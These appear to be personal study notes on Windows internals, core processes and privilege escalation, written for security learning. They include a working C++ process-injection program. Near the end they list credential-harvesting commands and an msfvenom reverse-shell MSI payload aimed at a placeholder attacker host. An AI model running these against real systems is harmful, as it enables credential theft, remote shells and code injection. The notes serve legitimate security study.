# **Windows Understanding**

## **Windows Fundamentals**

### **File System:**

#### **New Technology File System or simply NTFS.**

Before NTFS, there was FAT16/FAT32 (File Allocation Table) and HPFS (High Performance File System).

NTFS is known as a journaling file system. In case of a failure, the file system can automatically repair the folders/files on disk using information stored in a log file. This function is not possible with FAT. NTFS supports Encryption (Encryption File System or EFS)

#### **Alternate Data Streams (ADS)**

file **attribute** only found **on the NTFS** file system.

In NTFS, every file consists of several parts called "attributes," and one of these attributes is $Data, which is the main part of a file containing its contents. The primary data stream stores the actual file data, like text in a text file, but there can be other streams attached to the file, called alternate data streams (ADS). consider the main file as the "primary" data stream, and ADS as hidden, secondary sections of the file that can store extra data "not normally visible". meta data is considered ADS Bec it's a data that saved in file beside the main data.

### **Environment Variables**

**Environment Variables** are **key-value pairs** that store important information about the system, user settings, and software configurations. They help programs and scripts interact with the operating system dynamically instead of relying on hardcoded values.

Per [Microsoft](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_environment_variables?view=powershell-7.1), " *Environment variables store information about the operating system environment. This info includes details like (OS path, number of processors used by the OS, and the location of temporary folders*"

Environment variables are stored in the **Windows Registry**

View All Environment Variables 🡪 Get-ChildItem Env:

Specific variable 🡪 echo $env:PATH

### **System Environment Variables**

Global Variables contain settings and paths in Windows, Apply to **all users**.

Require **administrator privileges** to modify.

OS Loads Environment Variables at Startup.

EX:

If program “X” needs to know system path (C:\windows), instead of defining this path as a hardcoded in program so may be this path changed in another cases, the program can call the system environment variable %*windir*% that contain the system path so program “X” can use.

* System environment variables apply to all users and processes on the system.
* %WINDIR% → Points to the Windows directory (e.g., C:\Windows).
* %TEMP% → Defines the location of temporary files.
* %PATH% → Specifies directories where executables can be found.

#### **User Variables**

Apply only to the logged-in user. Users can modify these without admin rights.

%USERPROFILE% → User’s home directory (e.g., C:\Users\YourName).

%APPDATA% → Location for application data.

#### **Process Variables**

Exist only while a process is running.

#### **Session Variables**

Like process variables but last for the entire user session.

### **Registry**

**Windows Registry is a hierarchical database that stores low-level system settings, configurations, and application preferences (It’s the brain of Windows).**

It is loaded into memory when Windows starts.

stored as a set of files on disk, located at**: C:\Windows\System32\Config\**

**Registry** is the whole database. **Key** is like a folder inside the registry. **Keys contain subkeys and values** (settings). **Values store actual data**, like file paths, system settings, environment variables and program configurations.

Ex of registry path: HKLM\SYSTEM\CurrentControlSet\Services\

**HK** stands for **HKEY** "Handle to a Key": each of root keys begins with HKEY.

to See and Edit the registry 🡪 Win + R, type regedit

### **Users**

**SYSTEM / LocalSystem** used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators.

**Local Service** Default account used to run Windows services with "minimum" privileges. It will use anonymous connections over the network.

**Network Service** Default account used to run Windows services with "minimum" privileges. It will use the computer credentials to authenticate through the network**.**

Win + R 🡪 lusrmgr.msc

**When a user account is created, a profile is created for the user (The creation of the user's profile is done upon initial login).**

**User Account Control (UAC) like access Control Between users** helps prevent malware from damaging a PC and helps organizations deploy a better-managed desktop. With UAC, apps and tasks always run in the security context of a non-administrator account, unless an administrator specifically authorizes administrator-level access to the system. UAC can block the automatic installation of unauthorized apps and prevent inadvertent changes to system settings. (Brief: The Idea that Windows Always Work in non-privileged mode even if user is Admin, When Privileged Action required by the Admin User Windows will prompt for confirm if user can do this)

* UAC can be manipulated from System Configuration
* UAC (by default) doesn't apply for the built-in local administrator account.

### **System Configuration**

**System Configuration utility (Win + R 🡪 MSConfig)**

for advanced troubleshooting, and its main purpose is to help diagnose startup issues.

**Tools:** (all tools can be viewed from system configuration tool)

Disk Management

Windows Administrative Tools.

Performance Monitor (Win + R 🡪 perfmon)

User Account Control: Local Users and Groups (Win + R 🡪 lusrmgr.msc).

Event Viewer (logs), [Event Log Types](https://learn.microsoft.com/en-us/windows/win32/eventlog/event-types), [Log Key Types](https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key).

Task Scheduler

System Configuration (MSConfig) 'most important'

Computer Management (Win + R 🡪 compmgmt) ‘most important'

Control Pannel

Resource monitor (Win + R 🡪 resmon)

System Information (Win + R 🡪 msinfo32)

System Properties

**Task Manager (Win+R 🡪 taskmgr) to manage (enable/disable) startup items. The System Configuration utility is NOT a startup management program.**

### **Others**

#### **Windows Update**

released on the 2nd Tuesday of each month. Patch Tuesday (if there an urgent patch it's ok to be released at any time)

#### **Microsoft Defender SmartScreen**

**Microsoft Defender SmartScreen (windows protection) (app & browse control)** protects against phishing or malware websites and applications, and the downloading of potentially malicious files

**Core Isolation:** from settings, forMemory Protection

#### **Trusted Platform Module (TPM)**

technology is designed to provide hardware-based, security-related functions, *A TPM chip is a secure crypto-processor that is designed to carry out cryptographic operations.*

#### **BitLocker**

Built-in Windows feature that encrypts entire drives, protecting data from unauthorized access even if the drive is stolen or physically removed from the computer. It uses encryption, BitLocker encrypts the entire drive, prevents unauthorized access to the data, even if someone physically removes **the drive and tries to access it on another computer**

**Drive Encryption** is a data protection feature that integrates with the operating system and addresses the threats of data theft or exposure from lost, stolen, or inappropriately stopping computers. (BitLocker provides the most protection when used with a Trusted Platform Module (TPM) version 1.2 or later).

TPM is a hardware component installed in many newer computers by the computer manufacturers. It works with BitLocker to help protect user data and to ensure that a computer has not been tampered with while the system was offline.

BitLocker helps mitigate unauthorized data access by enhancing file and system protections.

BitLocker is a software-based encryption feature, but it often uses hardware (like a TPM chip) to enhance security.

#### **Volume Shadow Copy Service (VSS)**

technology in Windows operating systems designed to create "shadow copies," or snapshots, of data. This allows for consistent backups of files, even if they're currently in use.

**Shadow Copy**: the idea of creating a snapshot of partition in 10% space of partition space while data is used, it works as backup that we can get older version of disk.

* It configured enable on volume disk but in restore we can restore the older version of all disk or single folder.
* from folder properties.

VSS creates a "point-in-time" version of files (snapshot or an exact copy of the data as it existed at a specific moment), allows backup applications to copy data without causing downtime, can also access these snapshots to recover previous versions of files without needing a full restore.

#### **more tools:**

**Windows Antimalware Scan Interface (AMSI)**

versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

**Credential Guard:** enabled by default

**Configure Windows Hello**

Windows Hello is a more personal and secure way to sign in to your Windows device. Instead of using a password, with Windows Hello you can sign in using facial recognition, fingerprint, or a PIN.

**How attacker works on windows:** [**https://lolbas-project.github.io**](https://lolbas-project.github.io)

**////////////////////////////////////////////////////////////////////////////////////////////////////**

**////////////////////////////////////////////////////////////////////////////////////////////////////**

## **Core Windows Processes**

### **Taks Manger**

More Advances Task Manger Tools**: Process Hacker & Process Explorer,** these tools can give more info about windows processes.

### **System Process**

*runs only in kernel mode, Load OS. doesn’t have a file location like normal processes but Internally tied to ntoskrnl.exe (Windows NT operating system kernel).*

**Normal:**

* **Image Path**: N/A, or C:\Windows\system32\ntoskrnl.exe (NT OS Kernel) when Using Advanced Task Manager Program like System Informer
* **Parent Process**: None, or System Idle Process (0) from Advanced Task Manger Programs
* **Number of Instances**: One
* **User Account**: Local System
* **Start Time**: At boot time
* **PID**: 4

### **smss.exe (Session Manager Subsystem)**

(initiated By System)

known as the Windows Session Manager, is responsible for **creating new sessions** and self-terminates itself. It is the first user-mode process started by the kernel.

Smss.exe process starts the kernel and user modes of the Windows subsystem this subsystem includes win32k.sys (kernel mode), winsrv.dll (user mode), and csrss.exe (user mode).

Smss.exe starts csrss.exe (Windows subsystem) and wininit.exe in Session 0 “isolated Windows session for the operating system”, and csrss.exe and winlogon.exe for Session 1, which is the user session.

SMSS is also responsible for creating environment variables, virtual memory paging files and starts winlogon.exe (the Windows Logon Manager).

Any Process smss.exe will initiate, the created process parent will be not found Bec smss will terminate itself.

**Normal:**

* + **Image Path**: %SystemRoot%\System32\smss.exe
  + **Parent Process:**System (with PID 4)
  + **Number of Instances:**One master instance and child instance persession**.** The child instance exists after creating the session**.**
  + **User Account:**Local System

### **csrss.exe (Client Server Runtime Process)**

(Initiated by smss.exe)

Instance in Session 0 & Session 1, it is user-mode side of the Windows subsystem

**Note**: csrss.exe and winlogon.exe are called from smss.exe at startup for Session 1. Then smss.exe will terminate itself so this process Parent may be Not Exists

responsible for the **Win32 console** window and process **thread creation** and deletion, critical to system operation shouldn’t corrupted, responsible for making the **Windows API** available to other processes,

**Normal**:

* **Image Path:**%SystemRoot%\System32\csrss.exe
* **Parent Process:**Created by an instance of smss.exe
* **Number of Instances:**Two or more
* **User Account:**Local System
* **Start Time:**Within seconds of boot time for the first two instances (for Session 0 and 1).

### **wininit.exe (Windows Initialization Process)**

(Initiated by smss.exe)

**Responsible for launching services.exe** (Service Control Manager), **lsass.exe** (Local Security Authority Subsystem Service), and **lsaiso.exe within Session 0.**

**runs in the background with its child processes.**

**Note: lsaiso.exe (LSA Isolated)** “process responsible for securely storing and managing credentials when Credential Guard is enabled. It Replaces the traditional lsass.exe**”. lsaiso.exe** is a process associated with Credential Guard and KeyGuard. May Not See it if KeyGuard is not enabled.

Credential Guard is a security feature in Windows helps protect user credentials

**Normal:**

* **Image Path:**%SystemRoot%\System32\wininit.exe
* **Parent Process:**Created by an instance of smss.exe
* **Number of Instances:**One
* **User Account**: Local System
* **Start Time:**Within seconds of boot time

### **services.exe (Service Control Manager “SCM”)**

Initiated by wininit.exe

responsibility is to **handle system services** (loading, interacting with, starting or ending services)

to Run it to manage services from CMD: > sc.exe

services Information is stored in registry HKLM\System\CurrentControlSet\Services

parent to several processes: svchost.exe, spoolsv.exe, msmpeng.exe, dllhost.exe

**Normal:**

* **Image Path**: %SystemRoot%\System32\services.exe
* **Parent Process**: wininit.exe
* **Number of Instances**: One
* **User Account**: Local System
* **Start Time**: Within seconds of boot time

### **svchost.exe (Service Host)**

wininit.exe > services.exe > svchost.exe

(Host Process for Windows Services), responsible for **hosting and managing Windows services**.

Rather than starting a separate process for each service, Windows groups similar services under a **single svchost.exe** to save resources.

**Explain**: instead of each process run its own services in its own resources and may many processes use or run the same service but in it’s own resources so the same service is running in many different resources, so instead srchost.exe combine these similar processes together “host them in one place like a room” and enable them to use the resource, these resources “the shared service” that used by processes hosed in svchost.exe are implemented as DDLs saved in Registry Parameters for this shared service.

***The services running in this hosted process are implemented as DLLs.***

These DLLs are loaded by svchost.exe as specified in the registry, Registry Path for a Service HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]\Parameters\ServiceDLL where Windows defines whicch DLL a service uses.

**Normal:**

* **Parent Process:** services.exe
* **Image Path:** %SystemRoot%\System32\svchost.exe
* **Number of Instances:** Many
* **User Account**: Varies (SYSTEM, Network Service, Local Service) depending on the svchost.exe instance. In Windows 10, some instancesrun as the logged-in user.
* **Start Time:** within seconds of boot time. Other instances of svchost.exe can be started after boot.

### **lsass.exe (Local Security Authority Subsystem Service “LSASS”)**

(initiated by wininit.exe)

 responsible for enforcing the security policy on the system, verifies users logging

 handles password changes and creates access tokens.

writes to the Windows Security Log.

**It creates security tokens** for **SAM (Security Account Manager**), AD (Active Directory), and NETLOGON**. It uses authentication packages specified in HKLM\System\CurrentControlSet\Control\Lsa.**

**Normal:**

* **Image Path**: %SystemRoot%\System32\lsass.exe
* **Parent Process**: wininit.exe
* **Number of Instances**: One
* **User Account**: Local System
* **Start Time**: Within seconds of boot time

### **winlogon.exe (Windows Logon)**

(initiated by smss.exe, created with csrss.exe within Session 1)

handling the Secure Attention Sequence (SAS). It is the ALT+CTRL+DELETE key combination users press to enter their username & password.

responsible for loading the user profile. It loads the user's NTUSER.DAT into HKCU, and **userinit.exe** loads the user's the user's shell.

* NTUSER.DAT “**hidden file** stored in **every user’s profile folder** on a Windows system, contains all of that **user's personal settings**)
* HKCU stands for **HKEY\_CURRENT\_USER “**Registry stores user settings”

**Normal:**

* **Image Path**: %SystemRoot%\System32\winlogon.exe
* **Parent Process**: Created by an instance of smss.exe that exits, so analysis tools usually do not provide the parent process name.
* **Number of Instances**: One or more
* **User Account**: Local System
* **Start Time**: Within seconds of boot time for the first instance (for Session 1).

Winlogon.exe (load user profile after lsas.exe that verify user)

### **explorer.exe (Windows Explorer)**

gives the user access to their folders and files.

**Normal**:

* **Image Path**: %SystemRoot%\explorer.exe
* **Parent Process**: Created by userinit.exe and exits
* **Number of Instances**: One or more per interactively logged-in user
* **User Account**: Logged-in user(s)
* **Start Tim**e: First instance when the first interactive user logon session begins

**////////////////////////////////////////////////////////////////////////////////////////////////////**

**////////////////////////////////////////////////////////////////////////////////////////////////////**

## **Windows Internals & Windows Logs**

### **Process**

process represents the execution of a program, an application can contain one or more processes, process has many components.

processes are created from the execution of an application.

Each process has many components:

the resources needed to execute a program. virtual address space, executable code, open handles to system objects, a security context, a unique process identifier, environment variables, a priority class, minimum and maximum working set sizes, and at least one thread of execution.

Ex of default applications that start processes.

MsMpEng (Microsoft Defender)

wininit (keyboard and mouse)

lsass (credential storage)

**Attacks against processes**

Attackers can target processes to evade detections and hide malware as legitimate processes

* Process Injection ([T1055](https://attack.mitre.org/techniques/T1055/))
* Process Hollowing ([T1055.012](https://attack.mitre.org/techniques/T1055/012/))
* Process Masquerading ([T1055.013](https://attack.mitre.org/techniques/T1055/013/))

#### **High Level Process Components**

**Private Virtual Address Space:** Virtual memory addresses that the process is allocated (virtual mean start & end of process space as process see but in real hard drive maybe it is on other address).

**Executable Program**: Defines code and data stored in the virtual address space.

**Open Handles**: Defines handles to system resources accessible to the process (system resources that a process has open and is actively using (include: files, registry keys, open sockets, ports, Threads)

**Security Context:** security information (the access token defines the user, security groups, privileges)

**Process ID:** Unique numerical identifier of the process.

**Threads:** Section of a process scheduled for execution.

#### **Lower Level process as it as in its virtual address space.  (its look in memory).**

A screenshot of a document

AI-generated content may be incorrect.

monitor processes from **Task Manager** or in Advanced easy way by using one of these tools: [Process Hacker 2](https://github.com/processhacker/processhacker), [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer), [Procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) and **System Informer** from official MS Store .

### **Threads**

Thread is an executable unit employed by a process and scheduled based on device factors. "Controlling the execution of a process." Consider it a Sub Process Under Main Process.

* Chrome is the **process**. Each **tab** or **extension** might be a **thread**.

The processor exactly executes the process as a collection of Threads.

Threads share the same details and resources as their parent process, such as code, global variables, etc. but have more of its unique values and data:

A white background with black text

AI-generated content may be incorrect.

* + All threads are inside the **same process**.
  + Each thread has **its own stack**, context, and local data.
  + All threads can access the **shared code/data** of the process.

**The hardware thread** is a feature of modern CPUs that allows a single physical core to run **multiple software threads at the same time**.

### **Virtual Memory**

A diagram of different colored cylinders

AI-generated content may be incorrect.

The Idea that: each Process have its own virtual address that it knows and work based on it, but in physical memory this address may be saved in different places.

Virtual memory provides each process with a [private virtual address space](https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space). A **memory manager** is used to translate virtual addresses to physical addresses

The theoretical maximum virtual address space is 4 GB on a 32-bit x86 system.

This address space is split in half, the lower half (*0x00000000 - 0x7FFFFFFF*) is allocated to processes as mentioned above. The upper half (*0x80000000 - 0xFFFFFFFF*) is allocated to OS memory utilization. Administrators can alter this allocation layout for applications that require a larger address space through settings **(*increaseUserVA*) or the**[**AWE (Address Windowing Extensions)**](https://docs.microsoft.com/en-us/windows/win32/memory/address-windowing-extensions)**.**

The theoretical maximum virtual address space is 256 TB on a 64-bit modern system.

A group of square boxes with text

AI-generated content may be incorrect.

Most issues that require settings or AWE are resolved by increasing theoretical maximum.

### **Dynamic Link Libraries “DDL”**

DLL "a library that contains code and data that can be used by more than one program at the same time."

When a DLL is loaded as a function in a program, the DLL is assigned as a **dependency**. Since a program is dependent on a DLL

Attackers can target the DLLs rather than the applications.

* DLL Hijacking ([T1574.001](https://attack.mitre.org/techniques/T1574/001/))
* DLL Side-Loading ([T1574.002](https://attack.mitre.org/techniques/T1574/002/))
* DLL Injection ([T1055.001](https://attack.mitre.org/techniques/T1055/001/))

DDL is just a code. (.ddl)

DLLs can be loaded in a program using ***load-time dynamic linking*** “load it like importing it’s file at beginning of your code so can use it” or ***run-time dynamic linking*** *“loading it just while running and load just specific function from it”*.

#### **DDL Code Example**

**File: sampleDLL.cpp**

#include "stdafx.h"

#define EXPORTING\_DLL

#include "sampleDLL.h"

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul\_reason\_for\_call, LPVOID lpReserved){

return TRUE; // Called when DLL is loaded/unloaded

}

void HelloWorld(){

MessageBox(NULL, TEXT("Hello World"), TEXT("In a DLL"), MB\_OK);

}

* **DllMain**: Entry point for the DLL. Called on load/unload.
* **HelloWorld**(): A function we export — shows a message box.

**File: sampleDLL.h (Header file)**

#ifndef INDLL\_H

#define INDLL\_H

#ifdef EXPORTING\_DLL

extern \_\_declspec(dllexport) void HelloWorld();

#else

extern \_\_declspec(dllimport) void HelloWorld();

#endif

#endif

* + When building the DLL: **export** HelloWorld
  + When using the DLL: **import** HelloWorld

**Using the DLL in an Application**

* **Load-Time Linking (Simpler, Static)**

#include "stdafx.h"

#include "sampleDLL.h"

int APIENTRY WinMain(...) {

HelloWorld(); // Call the function directly

return 0;

}

* + Needs .lib and .h files at **compile time**
  + Less flexible; if DLL is missing, app won’t start
* **Run-Time Linking (Dynamic)**

typedef VOID (\*DLLPROC)(LPTSTR); // Function pointer

HINSTANCE hinstDLL = LoadLibrary("sampleDLL.dll");

if (hinstDLL != NULL) {

DLLPROC HelloWorld = (DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");

if (HelloWorld != NULL)

HelloWorld(NULL);

FreeLibrary(hinstDLL); }

* More flexible: Load DLL when needed, Works without .lib or .h
* Preferred in **malicious** usage because:
* need function (**LoadLibrary** or **LoadLibraryEx**) to load the DLL at run time. Once loaded, need to use **GetProcAddress** to identify the exported DLL function to call.

**Building “.ddl” file**

In Visual Studio (Windows):

1. Create a Win32 Project
2. Choose DLL project type
3. Add your sampleDLL**.cpp** and sampleDLL**.h**
4. Press Build → Visual Studio creates:
   * sampleDLL.dll ← the actual compiled library
   * sampleDLL.lib ← import library (for static linking)
   * sampleDLL.exp ← export info (not always needed)

The .dll file is placed in your project’s /Debug or /Release folder.

### **Portable Executable Format**

PE is a "file format", defines the structure and layout of data inside .exe or .dll files.

It’s not a separate file — it’s the blueprint (format) that .exe and .dll files follow so Windows knows how to load and run them.

It like a binary data saved withing .exe, .dll, .sys, …”other windows executables”. that define the structure of the file, so windows can understand the file when try to run or read it.

PE (**P**ortable **E**xecutable) format defines the information about executable and stored data, also defines the structure of how data components are stored.

PE data is most commonly seen in the hex dump of an executable file.

It’s like meta data about executables.

A diagram of a diagram

AI-generated content may be incorrect.

**PE Structure Components**

* **DOS Header:**defines the type of file

Ex: if we see the DOS header in hex Dump

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 **MZ**..........ÿÿ..

00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ¸.......@.......

00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000030 00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00 ............è...

00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..º..´.Í!¸.LÍ!Th

The **MZ** **DOS header** defines the file format as **.exe**

* **DOS Stub:** program run by default at the beginning of a file that prints a compatibility message.
* **PE File Header:**provides PE header information of the binary. Defines the format of the file, contains the signature “Must be PE\0\0 — tells Windows this is a PE file” and image file header, NumberOfSections (like .text, .data, etc.).and other information headers.
* **Image Optional Header**
* **Data Dictionaries** are part of the image optional header. They point to the image data directory structure.
* **Section Table** defines the available sections and information in the image “when file loaded in memory it called image”
  + **sections store the contents** of the file, such as code, imports, and data.

A screenshot of a computer

AI-generated content may be incorrect.

**Too see all of these info about a file: sue program “Detect It Easy”**

### **Interacting with Windows internals**

**Interaction by Windows API calls,** that provides native functionality to interact with the Windows operating system.

API contains the **Win32 API and**, less commonly, the **Win64 API**.

**Some Windows API Function:**

* **OpenProcess:** Opens the target process so we can access it (read, write, create threads).
* **VirtualAllocEx:** Allocates memory inside the target process (like creating a new buffer).
* **WriteProcessMemory:** Writes your payload (shellcode or data) into the memory you allocated.
* **CreateRemoteThread:** Starts a thread in the target process that runs your injected code.
* **CloseHandle:** Closes handles (for the process and thread) when you’re done.

#### **Example of using APIs to Inject a payload into a process**

Inject a payload into a process (like Notepad) that pops up a MessageBox saying "Hello from Injected Code!"

* The program uses the Windows API.
* Compile it using Visual Studio or g++ with Windows SDK.
* must know the PID (Process ID) of the target (like Notepad). You can get it from Task Manager or code.

##### **Code**

#include <windows.h>

#include <iostream>

// MessageBox payload (shellcode) that shows a message box.

// This is hardcoded machine code that calls MessageBoxA.

// You can generate this with tools like msfvenom, or manually in assembly.

unsigned char payload[] = {

0x6A, 0x00, // push 0 (MB\_OK)

0x68, 0x41, 0x42, 0x43, 0x44, // push "DCBA" (fake title placeholder)

0x68, 0x48, 0x65, 0x6C, 0x6C, // push "lleH" (Hello reversed)

0xB8, 0xAD, 0x23, 0x86, 0x7C, // mov eax, <MessageBoxA address>

0xFF, 0xD0, // call eax

0xC3 // ret

};

int main(int argc, char\* argv[]) {

if (argc < 2) {

std::cout << "Usage: injector.exe <PID>" << std::endl;

return 1;

}

DWORD pid = atoi(argv[1]); // Convert string to process ID

// 1️⃣ Open target process

HANDLE hProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, pid);

if (!hProcess) {

std::cerr << "Failed to open process. Error: " << GetLastError() << std::endl;

return 1;

}

std::cout << "[+] Opened process with PID " << pid << std::endl;

// 2️⃣ Allocate memory in the target process

LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM\_COMMIT | MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE);

if (!remoteBuffer) {

std::cerr << "Failed to allocate memory. Error: " << GetLastError() << std::endl;

CloseHandle(hProcess);

return 1;

}

std::cout << "[+] Allocated memory at " << remoteBuffer << std::endl;

// 3️⃣ Write the payload into the allocated memory

SIZE\_T bytesWritten;

if (!WriteProcessMemory(hProcess, remoteBuffer, payload, sizeof(payload), &bytesWritten)) {

std::cerr << "Failed to write to memory. Error: " << GetLastError() << std::endl;

VirtualFreeEx(hProcess, remoteBuffer, 0, MEM\_RELEASE);

CloseHandle(hProcess);

return 1;

}

std::cout << "[+] Wrote " << bytesWritten << " bytes to remote process." << std::endl;

// 4️⃣ Create a remote thread to execute the payload

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,

(LPTHREAD\_START\_ROUTINE)remoteBuffer, NULL, 0, NULL);

if (!hThread) {

std::cerr << "Failed to create remote thread. Error: " << GetLastError() << std::endl;

VirtualFreeEx(hProcess, remoteBuffer, 0, MEM\_RELEASE);

CloseHandle(hProcess);

return 1;

}

std::cout << "[+] Remote thread created successfully!" << std::endl;

// Cleanup

CloseHandle(hThread);

CloseHandle(hProcess);

return 0;

}

**////////////////////////////////////////////////////////////////////////////////////////////////////**

## **Windows APIs**

**////////////////////////////////////////////////////////////////////////////////////////////////////**

**////////////////////////////////////////////////////////////////////////////////////////////////////**

**////////////////////////////////////////////////////////////////////////////////////////////////////**

# **Windows Privilege Escalation**

## Harvesting Passwords from Usual Spots

**Unattended Windows Installations**

Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network, installations as they don't require user interaction.

installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:

* C:\Unattend.xml
* C:\Windows\Panther\Unattend.xml
* C:\Windows\Panther\Unattend\Unattend.xml
* C:\Windows\system32\sysprep.inf
* C:\Windows\system32\sysprep\sysprep.xml

**PowerShell History**

**cmd command**

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost\_history.txt

To read the file from PowerShell replace %userprofile% with $Env:userprofile

**PSReadline**: PowerShell module that enhances the command-line editing experience in PowerShell and maintains the History.

**%userprofile%:**environment variable points to the current user's profile

**Saved Windows Credentials**

cmdkey /list

runas /savecred /user:admin cmd.exe

/savecred option stores the password, so you don't need to enter it each time you run a command with runas

**IIS Configuration**

Internet Information Services (IIS) is the default web server on Windows installations.

The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Web.config can be found:

* C:\inetpub\wwwroot\web.config
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

**Retrieve Credentials from Software: PuTTY**

PuTTY is an SSH client commonly found on Windows systems, IP and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include **cleartext authentication credentials**.

To retrieve the stored proxy credentials, search under the following registry key for ProxyPassword:

reg query HKEY\_CURRENT\_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

## Other Quick Wins

**Scheduled Tasks**

May there is a scheduled task that either **lost its binary** or it's using a **binary can be modified**.

Scheduled tasks can be listed from the command line using the schtasks

**For all info 🡪 C:\>** **schtasks /query /tn vulntask /fo list /v**

A screen shot of a computer

AI-generated content may be incorrect.

* /fo stands for "format output."
* /tn stands for "task name."

"Task to Run" parameter which indicates what gets executed by the scheduled task

Try To Override the "Task to Run" parameter (See file permissions by icacls command).

**AlwaysInstallElevated**

Windows installer files (also known as **.msi** files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.

**generate a malicious .msi file using msfvenom**

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=ATTACKING\_MACHINE\_IP LPORT=LOCAL\_PORT -f msi -o malicious.msi

**run the .msi file after transferring it to victim**

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

**/quiet: Runs the installer in "quiet mode".**

**/qn: "no UI." The q stands for "quiet," and the n stands for "no UI." installation happens completely in the background.**

**/i: Specifies the path to the .msi file to be installed.**

## Abusing Service Misconfigurations

**Windows Services**

**Service Control Manager** (SCM) “**sc** command” to control services.

Services have a **Discretionary Access Control List (DACL)**, which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service.

All the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\

Or can be viewed from **Registry Editor** (each service and its parameters consider a subkey)

A computer screen shot of white text

AI-generated content may be incorrect.A screenshot of a computer program

AI-generated content may be incorrect.

**Insecure Permissions on Service Executable**

# Additions

## Installing Telnet on Windows

dism /online /Enable-Feature /FeatureName:TelnetClient

* dism: Stands for **Deployment Image Servicing and Management** – a Windows tool for managing system images.
* /online: Means you're applying the change to the currently running Windows system.
* /Enable-Feature: Tells DISM to turn on a Windows feature.
* /FeatureName:TelnetClient: Specifies the **Telnet Client**, which allows you to use the telnet command in Windows.

s